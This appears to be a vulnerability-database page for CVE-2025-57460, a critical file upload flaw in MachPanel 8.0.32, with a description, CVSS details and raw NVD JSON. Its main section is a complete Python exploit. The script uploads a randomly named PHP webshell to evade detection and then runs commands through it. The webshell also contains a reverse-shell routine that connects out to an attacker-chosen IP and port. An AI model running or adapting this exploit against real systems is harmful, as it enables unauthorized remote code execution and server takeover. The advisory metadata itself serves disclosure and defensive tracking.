Security Vulnerability Report
中文
CVE-2025-57460 CVSS 9.8 CRITICAL

CVE-2025-57460

Published: 2025-12-29 14:15:57
Last Modified: 2025-12-31 20:14:09

Description

File upload vulnerability in machsol machpanel 8.0.32 allows attacker to gain a webshell.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:machsol:machpanel:8.0.32:*:*:*:*:*:*:* - VULNERABLE
MachPanel 8.0.32

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys import random import string # CVE-2025-57460 PoC - MachPanel File Upload to RCE # Target: MachPanel 8.0.32 # Vulnerability: Unrestricted File Upload leading to Webshell def generate_random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def upload_webshell(target_url, webshell_content): """ Upload malicious webshell to MachPanel server """ upload_endpoint = f"{target_url}/chapi/upload" # Generate random filename to avoid detection filename = f"{generate_random_string()}.php" files = { 'file': (filename, webshell_content, 'application/x-php') } data = { 'module': 'FileManager', 'action': 'UploadFile', 'path': '/inetpub/wwwroot/' } print(f"[*] Target: {target_url}") print(f"[*] Uploading webshell as: {filename}") try: response = requests.post(upload_endpoint, files=files, data=data, timeout=30) if response.status_code == 200: # Extract uploaded file path from response uploaded_path = response.json().get('filePath', '') print(f"[+] File uploaded successfully!") print(f"[+] Webshell URL: {uploaded_path}") return uploaded_path else: print(f"[-] Upload failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {str(e)}") return None def execute_command(webshell_url, command): """ Execute command via uploaded webshell """ params = {'cmd': command} try: response = requests.get(webshell_url, params=params, timeout=30) return response.text except Exception as e: print(f"[-] Command execution failed: {str(e)}") return None # PHP Webshell content (basic reverse shell) webshell = """<?php if(isset($_GET['cmd'])){ $cmd = $_GET['cmd']; $output = shell_exec($cmd); echo "<pre>".$output."</pre>"; } if(isset($_GET['rev'])){ $ip = $_GET['rev']; $port = $_GET['p'] ?: 4444; $sock = fsockopen($ip, $port); exec("/bin/sh -i <&3 >&3 2>&3"); } ?>""" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-57460.py <target_url>") print("Example: python cve-2025-57460.py http://victim.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Step 1: Upload webshell webshell_url = upload_webshell(target, webshell) if webshell_url: # Step 2: Verify webshell access print("[*] Testing webshell...") result = execute_command(webshell_url, "whoami") if result: print(f"[+] Webshell is working! Output: {result}") else: print("[-] Webshell verification failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57460", "sourceIdentifier": "[email protected]", "published": "2025-12-29T14:15:56.617", "lastModified": "2025-12-31T20:14:09.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File upload vulnerability in machsol machpanel 8.0.32 allows attacker to gain a webshell."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:machsol:machpanel:8.0.32:*:*:*:*:*:*:*", "matchCriteriaId": "A47E4083-597E-43A8-97E5-405086A2A6A3"}]}]}], "references": [{"url": "https://github.com/aljoharasubaie/CVE-2025-57460/blob/main/README.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.machsol.com/", "source": "[email protected]", "tags": ["Product"]}]}}